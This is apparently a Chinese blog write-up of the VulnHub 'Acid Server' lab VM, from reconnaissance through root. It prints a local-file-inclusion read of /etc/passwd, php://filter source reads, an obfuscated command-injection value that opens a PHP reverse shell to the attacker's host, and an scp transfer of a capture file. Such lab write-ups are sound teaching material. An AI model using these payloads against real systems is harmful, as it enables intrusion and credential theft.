acid server靶机渗透
虚拟机地址:https://download.vulnhub.com/acid/Acid.rar
信息搜集
开启acid,不用登陆,已启用服务
靶机描述:
The named of the Virtual machine is “Acid Server”. This Virtual Machine is completely web based. I have added little new concept here and hope people will enjoy solving this.You need to extract the rar and run the vmx using VMplayer . The machine has DHCP active list so once automatically assign an IP network, the next step will be to identify the target and discover the / the service / s to start the game.
- 先使用nmap扫描内网存活主机:
nmap -sP 192.168.199.0/24
,找到靶机地址:192.168.199.186 - 然后就是端口扫描:
nmap -sS -sV -p1-65535 192.168.199.186
,扫出一个端口:PORT STATE SERVICE VERSION
33447/tcp open http Apache httpd 2.4.10 ((Ubuntu))
MAC Address: 00:0C:29:28:EB:0D (VMware)
- 在地址栏输入:
192.168.199.186:33447
,看到一个页面
纯静态,于是查看源码,在最底部发现<!--0x643239334c6d70775a773d3d-->
,将hex转ascii,得到d293LmpwZw==
,再base64解码,得到wow.jpg,于是访问/images/wow.jpg
,将图片下载下来,winhex查看,在最底部发现一串hex,再次解码得到一个md5,将其解密:63425
先以为63425为acid的root密码,结果发现是我太天真了,后来参考别人的writeup,发现了又一个目录扫描工具:dirbuster
扫描目录,发现了Challenge目录,输入得到一个登录页面:
找寻其他线索,根据得到的文件
最终在hacked.php中得到如下页面
在/Challenge/include.php中得到如下页面
发现include.php?file=//etc/passwd
可以进行任意文件读取:
- 利用
php://filter/read=convert.base64-encode/resource=xxx.php
读文件,读到psl-config.php中有如下代码:
1 | <?php |
- 但是啊,没有mysql的地址
尝试查看配置文件和环境变量,但依然无果,没想到啊,我真的服了,看到cake.php页面突然发现了猫腻
于是尝试/Magic_Box目录,再次爆破,又发现了:
command.php
low.php
进入http://192.168.199.186:33447/Challenge/Magic_Box/command.php
,如下页面:
向指定地址发送IP数据包,于是想到反弹shell
利用include.php查看command.php源码:
1 |
|
有两个函数要注意:
stristr()
stristr() 函数搜索字符串在另一字符串中的第一次出现
php_uname
说明
php_uname — 返回运行 PHP 的系统的有关信息。
原型:string php_uname ([ string $mode = “a” ] )。返回运行php的操作系统的相关描述,和 phpinfo() 最顶端上输出的是同一个字符串。 如果仅仅要获取操作系统的名称。可以考虑使用常量 PHP_OS,不过要注意该常量会包含 PHP 构建(built)时的操作系统名。参数
mode 是单个字符,用于定义要返回什么信息:‘a’:此为默认。包含序列 “s n r v m” 里的所有模式。
’s’:操作系统名称。例如: FreeBSD。
‘n’:主机名。例如: localhost.example.com。
‘r’:版本名称,例如: 5.1.2-RELEASE。
‘v’:版本信息。操作系统之间有很大的不同。
‘m’:机器类型。例如:i386。
伪造useragent为windows nt
再输入如下参数:192.168.199.138%3b%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%31%39%32%2e%31%36%38%2e%31%39%39%2e%32%33%38%22%2c%38%38%38%38%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27%0a
,得到shell,下一步则是提权
查看内核
uname -a
Linux acid 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:01 UTC 2015 i686 i686 i686 GNU/Linux
查看发行版本
cat /etc/issue
,没东西查看详细信息
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=15.04
DISTRIB_CODENAME=vivid
DISTRIB_DESCRIPTION=”Ubuntu 15.04”
NAME=”Ubuntu”
VERSION=”15.04 (Vivid Vervet)”
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME=”Ubuntu 15.04”
VERSION_ID=”15.04”
HOME_URL=”http://www.ubuntu.com/“
SUPPORT_URL=”http://help.ubuntu.com/“
BUG_REPORT_URL=”http://bugs.launchpad.net/ubuntu/“
无法使用vim
、nano
,ll
无法使用但可用ls -ll
代替,searchsploit linux 3.9 ubuntu priv esc
也没找到exp
于是就可以利用su提权
1、su命令
su命令用来切换用户,substitute英文含义“代替”的意思
①su:不加用户名默认是切换为root用户,切当前目录不改变,其他环境变量不变
②su - 或者su -l 或者 su –login:切换为root用户,同时变更工作目录,以及SHELL,USER,PATH,HOME,LOGNAME变量
③su username :切换为其他用户,目录不改变,SHELL,USER,PATH,HOME,LOGNAME变量改变
④su -, -l, –login username:切换到其他用户,变更工作目录,以及SHELL,USER,PATH,HOME,LOGNAME变量
⑤其他参数:
2、sudo命令
sudo命令:sudo为superuser do 的简写,即使用超级用户来执行命令,一般是指root用户
sudoers文件存放在etc目录下,我们可以直接输入命令visudo编辑sudoers文件,使用visudo命令编辑文件,会验证我们添加的信息是否有语法错误
su
和su -
su命令和su -命令最大的本质区别就是:前者只是切换了root身份,但Shell环境仍然是普通用户的Shell;而后者连用户和Shell环境一起切换成root身份了
但无法使用su命令,于是可以新建一个会话,指令如下(这里有一点坑了很久,必须先su提权,否则在后面的ssh就会失败):1
2
3echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
cat /etc/passwd
查看有哪些用户find \ -user acid 2>/dev/null
找文件试图找出线索,发现了/sbin/raw_vs_isi/hint.pcapng
利用scp进行文件传输:scp -P22 /sbin/raw_vs_isi/hint.pcapng root@192.168.199.238:/root/
Linux的几种文件传输命令
然后再在kali上用wireshark查看,分析tcp包,找到一个用户和密码:saman;1337hax0r
- sudo saman成功登录
- sudo root,密码相同,然后在/root/flag.txt
Author: damn1t
Link: http://microvorld.com/2019/04/17/靶机/acid/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.